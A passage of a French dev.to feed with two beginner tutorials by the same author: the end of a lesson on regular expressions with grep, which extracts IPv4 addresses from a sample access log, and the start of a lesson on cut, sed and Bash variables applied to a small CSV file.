&lt;p&gt;Et toutes les lignes qui commencent par "C" : &lt;code&gt;^C&lt;/code&gt; (majuscule vus que dans ce texte toutes les lignes commencent par une majuscule).&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--CDPosFdz--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/m5ppicc0mccu1dvw2hb1.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--CDPosFdz--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/m5ppicc0mccu1dvw2hb1.png" alt="Résultat 4"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Pour rechercher tous les débuts de chaîne de caractères (en gros un groupe de lettres et de chiffres séparées par un espace), il faudra utiliser l'ancre : &lt;code&gt;\b&lt;/code&gt;.  Exemple : tous les mots commençants par "c" - &lt;code&gt;\b[c]&lt;/code&gt;.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Les parenthèses carrées &lt;code&gt;[]&lt;/code&gt; trouveront une occurrences dans la liste présente à l'intérieur. Donc &lt;code&gt;[c]&lt;/code&gt; trouvera la lettre "c". La recherche &lt;code&gt;[ces]&lt;/code&gt; recherchera les occurrences de "c", "e" ou "s". Dans le cas où vous désirez faire une recherche pour un groupe, il faudra utiliser les parenthèses simples : &lt;code&gt;(ces)&lt;/code&gt;. Cette dernière recherche filtrera toutes les occurrences du groupe de lettres "ces".&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;code&gt;\b&lt;/code&gt; est un peu malicieux car il recherchera des espaces &lt;strong&gt;avant&lt;/strong&gt; un caractère alphabétique mais pas après sauf si vous le précisez en le plaçant à la fin. L'inverse de &lt;code&gt;\b&lt;/code&gt; est &lt;code&gt;\B&lt;/code&gt; ; tout caractère alphabétique non précédé par un espace donc "à l'intérieur d'un mot mais pas au début".&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Essayez la recherche suivante : &lt;code&gt;\b(err)&lt;/code&gt; et ensuite &lt;code&gt;(er)\b&lt;/code&gt;.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Pour recherchez la lettre "r" qui ne se trouve pas au début d'un mot, ni à la fin d'un mot : &lt;code&gt;\B[r]\B&lt;/code&gt; ou bien &lt;code&gt;\B[r]\S&lt;/code&gt;. Ici &lt;code&gt;\S&lt;/code&gt; représentes tous les caractères qui ne sont pas des espaces.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--fJY10VuI--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/ttlw997bstzu1ihpbrgg.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--fJY10VuI--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/ttlw997bstzu1ihpbrgg.png" alt="Résultat 5"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h1&gt;
  
  
  Recherche modulaire
&lt;/h1&gt;

&lt;p&gt;C'est déjà beaucoup, mais maintenant, il est possible de rajouter un couche de précision dans nos recherches grâce à des "modules".&lt;/p&gt;

&lt;p&gt;Nous avons déjà vu &lt;code&gt;^&lt;/code&gt; et &lt;code&gt;$&lt;/code&gt; qui définissent le début et la fin d'une ligne.  Donc, par exemple : &lt;code&gt;[a-z]\.[a-z]$&lt;/code&gt; trouvera toutes les lignes avec une lettre, suivie d'un point (".") et un caractère alphabétique.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Pourquoi des &lt;code&gt;\&lt;/code&gt; devant les caractères spéciaux ? Chaque caractère a une signification et une fonction particulière. Nous voulons considérer ces caractères de façon littérale, donc nous devons &lt;em&gt;les échapper&lt;/em&gt; avec le caractère &lt;code&gt;\&lt;/code&gt;. C'est-à-dire, préciser à l'ordinateur qu'il ne faut pas les considérer comme des fonctions mais comme de simples caractères. C'est le cas pour les &lt;code&gt;/&lt;/code&gt;,  &lt;code&gt;.&lt;/code&gt;, &lt;code&gt;^&lt;/code&gt; ou &lt;code&gt;$&lt;/code&gt; si vous recherchez ces caractères dans un fichier.&lt;/p&gt;

&lt;p&gt;Que fait "." lorsqu'il n'est pas échappé ? Les regex le remplacent par n'importe quel caractère. Donc par exemple, &lt;code&gt;[c].[s]&lt;/code&gt; donnera des résultats pour un mot commençant par "c", finissant par "s" mais ayant n'importe quel caractère, lettre, chiffre ou caractère spécial en seconde position.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Mais &lt;strong&gt;attention&lt;/strong&gt;, car lorsqu'il est à l'intérieur de parenthèses carrées, &lt;code&gt;^&lt;/code&gt; défini une négation. Donc &lt;code&gt;^a-z&lt;/code&gt; et &lt;code&gt;[^a-z]&lt;/code&gt; ne donneront pas le même résultat !  La première version prendra toutes les lignes qui commencent par une lettre et le suivant toutes les occurrences qui n'ont pas de lettres.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;+&lt;/code&gt; et &lt;code&gt;*&lt;/code&gt; associé aux ancres comme &lt;code&gt;\d&lt;/code&gt; ou &lt;code&gt;\w&lt;/code&gt; vont rechercher respectivement une ou un nombre illimité d'occurrences ou, dans le cas de &lt;code&gt;*&lt;/code&gt;,  zéro ou un nombre illimité d'occurrences.&lt;/p&gt;

&lt;p&gt;Vous pouvez aussi préciser le nombre d’occurrences avec les moustaches &lt;code&gt;{}&lt;/code&gt;. Par exemple, &lt;code&gt;\w{1, 4}&lt;/code&gt; cherchera entre une lettre suivie de jusque trois autres lettres.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--mZHNYW14--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/txqs8f6wdjs4txvg206y.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--mZHNYW14--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/txqs8f6wdjs4txvg206y.gif" alt="Et là il faut une citation latine"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h1&gt;
  
  
  Cas pratique
&lt;/h1&gt;

&lt;p&gt;Ici, vous devez être un peu perdu.e.s, donc essayons de prendre des exemples pratiques.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Si vous n'avez pas lu les articles précédents, je vous invite à le faire dans le cas où certaines parties des exemples ne sont pas claires. &lt;a href="https://dev.to/christalib/la-ligne-de-commande-linux-pour-les-impatient-e-s-49ne"&gt;Premier article&lt;/a&gt; et &lt;a href="https://dev.to/christalib/la-ligne-de-commande-linux-pour-les-impatient-e-s-2-cas-pratique-3bph"&gt;second article&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Regex101 est fun, mais mettons nous dans une situation réaliste.&lt;/p&gt;

&lt;p&gt;Téléchargeons ce fichier de logs :&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;wget https://gist.githubusercontent.com/christalib/0dd247443fb8251af3ff24c5eb511073/raw/ca9a0b1f8ce90529cc299dea87002f1eb21234a8/gistfile1.txt &lt;span class="nt"&gt;-O&lt;/span&gt; access_log.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Le fichier est assez imposant :&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat &lt;/span&gt;access_log.txt | &lt;span class="nb"&gt;wc&lt;/span&gt; &lt;span class="nt"&gt;-l&lt;/span&gt;
&lt;span class="c"&gt;# 1173&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;Il est possible de faire toutes les opérations que nous avons vues précédemment avec &lt;code&gt;cut&lt;/code&gt;, &lt;code&gt;cat&lt;/code&gt;, &lt;code&gt;|&lt;/code&gt; etc.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  Des chiffres...
&lt;/h3&gt;

&lt;p&gt;Commençons par faire des opérations avec les chiffres.&lt;/p&gt;

&lt;p&gt;Nous voulons : tous les groupes de plus de trois chiffres.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;--color&lt;/span&gt; &lt;span class="nt"&gt;-E&lt;/span&gt; &lt;span class="s2"&gt;"[0-9]{3,}"&lt;/span&gt; access_log.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;L'option &lt;code&gt;-E&lt;/code&gt; utilisera les regex étendues (voir fin de l'article pour plus de détails). L'option &lt;code&gt;--color&lt;/code&gt; coloriera le résultat de notre recherche.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Si tout va bien, votre résultat ressemblera plus au moins à ceci :&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--rH6S0_Jg--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/h78ij64zc9k5a1q1fwc3.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--rH6S0_Jg--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/h78ij64zc9k5a1q1fwc3.png" alt="Résultat 6"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Vous remarquerez que la première partie de la ligne est une adresse IPv4. Il est possible de les filtrer avec : &lt;code&gt;cat access_log.txt | cut -d " " -f 1&lt;/code&gt;. Mais comme nous faisons des regex, faisons-le à la main !&lt;/p&gt;

&lt;p&gt;Une adrets IPv4 existe sous cette forme : chiffre entre 0 et 9 répété de 1 à 3 fois, suivi d'un point, 3 fois puis chiffre de 0 à 9.&lt;/p&gt;

&lt;p&gt;Donc ici, nous avons un chiffre de 0 à 9 répété de une à trois fois :&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;0.
1.
2.
...
123.
...
567.
...
999.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;En regex : &lt;code&gt;[0-9]{1,3}\.&lt;/code&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;{3}&lt;/code&gt; le groupe est répété trois fois
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;0.0.0.
...
123.123.123.
...
999.999.999.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;En regex : &lt;code&gt;([0-9]{1,3}\.){3}\.&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Finalement le groupe est terminé par un chiffre de 0 à 9, répété de une à trois fois mais pas suivi d'un point.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;0.0.0.0
...
123.123.123.123
...
999.999.999.999
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;En regex : &lt;code&gt;([0-9]{1,3}\.){3}[0-9]{1,3}&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Et la commande complète :&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;grep -E "^([0-9]{1,3}\.){3}[0-9]{1,3}" access_log.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;^&lt;/code&gt; donne l'indication que l'occurrence est au début de la ligne.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;()&lt;/code&gt; définissent un premier groupe d'occurrences qui sera traité ensemble.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;[]&lt;/code&gt; définissent un groupe dans lequel il y aura au moins un résultat&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;0-9&lt;/code&gt; définit un nombre&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;{1,3}&lt;/code&gt; définit une occurrence qui sera répétée entre 1 et 3 fois&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;\.&lt;/code&gt; échappe le "." pour être considère comme un simple caractère&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Et voilà le travail !&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--NNtCV7hT--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/0m1s92m2lgwpc8oochr8.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--NNtCV7hT--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/0m1s92m2lgwpc8oochr8.png" alt="Résultat 7"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Que faire pour arriver au même résultat qu'avec &lt;code&gt;cut&lt;/code&gt; ? C'est-à-dire sans avoir la ligne entière ? Rien de plus simple, ajoutons l'option &lt;code&gt;-o&lt;/code&gt; pour dire à &lt;code&gt;grep&lt;/code&gt; qu'il ne faut montrer que les occurrences et non toute la ligne.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-oE&lt;/span&gt; &lt;span class="s2"&gt;"^([0-9]{1,3}&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="s2"&gt;){3}[0-9]{1,3}"&lt;/span&gt; access_log.txt | &lt;span class="nb"&gt;sort&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--6BhV8LWN--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/zlreq1zsndqxj97xvbrh.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--6BhV8LWN--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/zlreq1zsndqxj97xvbrh.png" alt="Résultat 8"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  ... et des lettres
&lt;/h3&gt;

&lt;p&gt;Regardez le dessin suivant :&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--8Efa6LQY--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/swgpvuppdb1vumkqkbro.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--8Efa6LQY--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/swgpvuppdb1vumkqkbro.png" alt="Regex 666"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Il y a une erreur dans le regex, utilisez celui-là : &lt;code&gt;(([a-zA-Z\-0-9]+\\.)[a-zA-Z]{2,})$&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Essayez de deviner que trouvera ce regex avant de le lancer, ou bien, lancez le simplement ! #yolo&lt;/p&gt;

&lt;h1&gt;
  
  
  Conclusion et remarques
&lt;/h1&gt;

&lt;p&gt;Bon, c'était un peu prise de tête quand même.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--27OS0ugK--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/6pm1fte2jht6xpfg2zc2.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--27OS0ugK--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/6pm1fte2jht6xpfg2zc2.gif" alt="J'ai rien compris"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Les regex sont un outil très puissant et vraiment utile lorsque vous faites de la recherche dans des centaines voire des milliers de fichiers. Nous avons vu &lt;code&gt;grep&lt;/code&gt; mais sachez qu'il existe &lt;code&gt;zgrep&lt;/code&gt; qui permet de chercher dans des fichiers compressés comme les .zip.&lt;/p&gt;

&lt;p&gt;Il y a aussi une version plus puissante de &lt;code&gt;grep&lt;/code&gt;, &lt;a href="https://github.com/BurntSushi/ripgrep"&gt;&lt;code&gt;ripgrep&lt;/code&gt;&lt;/a&gt; qui décoiffe !&lt;/p&gt;

&lt;p&gt;Les regex sont aussi un outil très compliqué, leurs possibilités sont très étendues et nous n'avons vu que la surface.&lt;/p&gt;

&lt;p&gt;Leur implémentations peuvent varier aussi selon les langages. Si vous codez en Python, il est possible que certaines options ne soient pas disponibles. Par exemple, ce &lt;a href="https://www.regular-expressions.info/refmodifiers.html"&gt;site&lt;/a&gt; permet de comparer certaines options des regex dans différents langages. Car les standards de regex &lt;a href="https://stackoverflow.com/questions/12739633/regex-standards-across-languages"&gt;varient en fonction des langages&lt;/a&gt;. Pourquoi faire simple...&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--cZr6ga4A--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/k1jcfgjhynqdb169yztq.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--cZr6ga4A--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/k1jcfgjhynqdb169yztq.gif" alt="On joue avec les règles à l'aquitaine?"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Pour finir, j'espère que vous avez pu suivre cet article, et que les regex ont un peu plus de sens pour vous. Vous pouvez vous entraînez aux regex sur ce site web quand vous vous ennuyez : &lt;a href="https://regexcrossword.com/challenges"&gt;https://regexcrossword.com/challenges&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Merci à Dattaz et E. pour les relectures !&lt;/em&gt;&lt;/p&gt;

</description>
      <category>beginners</category>
      <category>tutorial</category>
      <category>regex</category>
      <category>french</category>
    </item>
    <item>
      <title>La ligne de commande Linux pour les impatient.e.s (2) : cas pratique</title>
      <dc:creator>chris</dc:creator>
      <pubDate>Thu, 14 Jan 2021 15:27:00 +0000</pubDate>
      <link>https://dev.to/evilcel3ri/la-ligne-de-commande-linux-pour-les-impatient-e-s-2-cas-pratique-3bph</link>
      <guid>https://dev.to/evilcel3ri/la-ligne-de-commande-linux-pour-les-impatient-e-s-2-cas-pratique-3bph</guid>
      <description>&lt;p&gt;&lt;em&gt;Avant de commencer&lt;/em&gt; : Il est possible que lorsqu'on lance une commande, on se trompe, souvent même d'ailleurs et moi le premier. Cependant, il existe une commande magique qui permet d'interrompre le processus en cours : &lt;code&gt;CTRL+C&lt;/code&gt;. Il vous suffira d'appuyer sur la touche "contrôle" en même temps que "c" et le processus en cours sera interrompu immédiatement. On stoppe, on corrige et on recommence !&lt;/p&gt;

&lt;h2&gt;
  
  
  Cut
&lt;/h2&gt;

&lt;p&gt;Dans l'article précédent, nous avons pu voir comment gérer des listes à colonne unique avec &lt;code&gt;grep&lt;/code&gt;. Maintenant qu'en est-il des cas où les lignes sont un peu plus denses d'informations ?&lt;/p&gt;

&lt;p&gt;Il existe un outil simple : &lt;code&gt;cut&lt;/code&gt; qui nous permettra de régler une grande partie de nos soucis.&lt;/p&gt;

&lt;p&gt;Prenons un format comme le &lt;a href="https://fr.wikipedia.org/wiki/Comma-separated_values"&gt;csv&lt;/a&gt; et l'exemple suivant:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Robert;Dupont;rue du Verger, 12;
"Michel";"Durand";" av. de la Ferme, 89 ";
"Michel ""Michele""";"Durand";" av. de la Ferme, 89";
"Michel;Michele";"Durand";"av. de la Ferme, 89";
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Sauvons le directement dans un fichier avec la commande suivante :&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;'Robert;Dupont;rue du Verger, 12;
"Michel";"Durand";" av. de la Ferme, 89 ";
"Michel ""Michele""";"Durand";" av. de la Ferme, 89";
"Michel;Michele";"Durand";"av. de la Ferme, 89";
'&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; exemple.csv
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;echo&lt;/code&gt; renvoie l'information que vous lui donner à l'instar d'un écho. Donc ici, &lt;code&gt;echo&lt;/code&gt; enverra les informations que nous avons copiées et collées depuis la page Wikipédia. Ensuite le chevron simple (&lt;code&gt;&amp;gt;&lt;/code&gt;) créera et remplira un nouveau fichier &lt;code&gt;exemple.csv&lt;/code&gt; avec les informations que nous lui envoyons.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Astuce : le copier coller dans le terminal fonctionne dès fois différemment en fonction des configurations. Vous pouvez coller en appuyant sur la touche majuscule en même temps que "contrôle" et "v" ou bien, en faisant clic droit et en choisissant l'option "coller".&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Vérifions que le fichier n'est pas vide avec &lt;code&gt;cat exemple.csv&lt;/code&gt;. Si tout va bien, les informations que nous avons collées s'y trouvent.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;cut&lt;/code&gt; fonctionne avec deux options principales : &lt;code&gt;-d&lt;/code&gt; pour définir le délimiteur et &lt;code&gt;-f&lt;/code&gt; pour choisir la colonne que vous voulez récupérer.&lt;/p&gt;

&lt;p&gt;Pour un premier essai, essayons : &lt;code&gt;cut -d " " -f 1&lt;/code&gt;. Ici nous définissions une espace comme délimiteur et prenons le premier résultat après ce délimiteur.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat &lt;/span&gt;exemple.csv | &lt;span class="nb"&gt;cut&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s2"&gt;" "&lt;/span&gt; &lt;span class="nt"&gt;-f&lt;/span&gt; 1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Donne comme résultat :&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Robert;Dupont;rue
"Michel";"Durand";"
"Michel
"Michel;Michele";"Durand";"av.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Tout s'est bien passé ! Ce sont tous les premiers résultats de la première colonne avant une espace.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Expérimentez avec d'autres délimiteurs comme ";", "," ou "." et d'autre choix de colonnes (vous pouvez sélectionner plusieurs colonnes comme ceci : &lt;code&gt;-f 1,2&lt;/code&gt;), qu'observez-vous ?&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  Sed
&lt;/h2&gt;

&lt;p&gt;Il est possible que vous ayez à modifier les données de votre colonne. Travailler avec les données, c'est souvent un peu de code et beaucoup de nettoyage. &lt;code&gt;sed&lt;/code&gt; est une commande qui va vous permettre à remplacer des caractères selon une condition. En gros, c'est comme le chercher remplacer de n'importe quel éditeur de texte mais ici, il sera possible de l’enchaîner à notre processus.&lt;/p&gt;

&lt;p&gt;La syntaxe de &lt;code&gt;sed&lt;/code&gt; fonctionne ainsi : &lt;code&gt;sed mode/texte à changer/comment le texte doit être changé/option fichier&lt;/code&gt;. Donc pour notre objectif : &lt;code&gt;sed 's/;/ /g'&lt;/code&gt;. Ici nous utilisons le mode &lt;code&gt;s&lt;/code&gt; qui signifie substitution ; nous remplaçons les ";" par des espaces et nous utilisons l'option &lt;code&gt;g&lt;/code&gt; ce qui signifie "global" ; c'est-à-dire que nous appliquons cette condition à toutes les occurrences du fichier (&lt;strong&gt;précision&lt;/strong&gt;: à toutes les occurrences de la ligne).&lt;/p&gt;

&lt;p&gt;Commençons par récupérer les informations depuis notre csv :&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat &lt;/span&gt;exemple.csv | &lt;span class="nb"&gt;cut&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s2"&gt;" "&lt;/span&gt; &lt;span class="nt"&gt;-f&lt;/span&gt; 1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Et remplaçons les ";" par une espace :&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat &lt;/span&gt;exemple.csv | &lt;span class="nb"&gt;cut&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s2"&gt;" "&lt;/span&gt; &lt;span class="nt"&gt;-f&lt;/span&gt; 1 | &lt;span class="nb"&gt;sed&lt;/span&gt; &lt;span class="s1"&gt;'s/;/ /g'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Résultat :&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Robert Dupont rue
"Michel" "Durand" "
"Michel
"Michel Michele" "Durand" "av.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Et voilà ! Rechercher, filtrer, remplacer !&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Ici, nous utilisons &lt;code&gt;sed&lt;/code&gt; enchaîné avec d'autres processus, si vous désirer l'utiliser seul avec un seul fichier, il faudra utiliser l'option &lt;code&gt;-i&lt;/code&gt;.  Exemple: &lt;code&gt;sed s/brusselles/Bruxelles/g fichier -i&lt;/code&gt;. Cet exemple remplacera toutes les occurrences de "brusselles" dans le fichier "fichier" par son orthographe correcte : "Bruxelles".&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;strong&gt;Précision&lt;/strong&gt;: l'option &lt;code&gt;-i&lt;/code&gt; est utilisée pour sauvegarder la modification dans le même fichier, il est aussi possible de rediriger le résultat vers un autre fichier.&lt;/p&gt;

&lt;h2&gt;
  
  
  Variables
&lt;/h2&gt;

&lt;p&gt;En programmation, les variables sont des emplacements dans lesquels on peut enregistrer des informations. Par défaut, le terminal Linux utilise un langage que l'on appelle Bash ou parfois appelé shell script.&lt;/p&gt;

&lt;p&gt;Grâce à celui-ci, nous pouvons enregistrer des informations dans des variables et les réutiliser.&lt;/p&gt;

&lt;p&gt;Pour définir une variable, choisissez un nom, ici "nombre_deux" et une valeur, ici "2". Assigner une valeur à une variable se fait via le signe "=" : &lt;code&gt;nombre_deux=2&lt;/code&gt; et puis appuyez sur Entrée.  Ensuite pour l'appeler, il faudra toujours précéder la variable par le symbole &lt;code&gt;$&lt;/code&gt;. Exemple : &lt;code&gt;echo $variable_deux&lt;/code&gt; et votre terminal devra vous répondre "2".&lt;/p&gt;

&lt;p&gt;Exemple complet:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;nombre_deux&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;2
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$nombre_deux&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Il est aussi possible de réassigner une variable:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;nombre_deux&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;3
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$nombre_deux&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

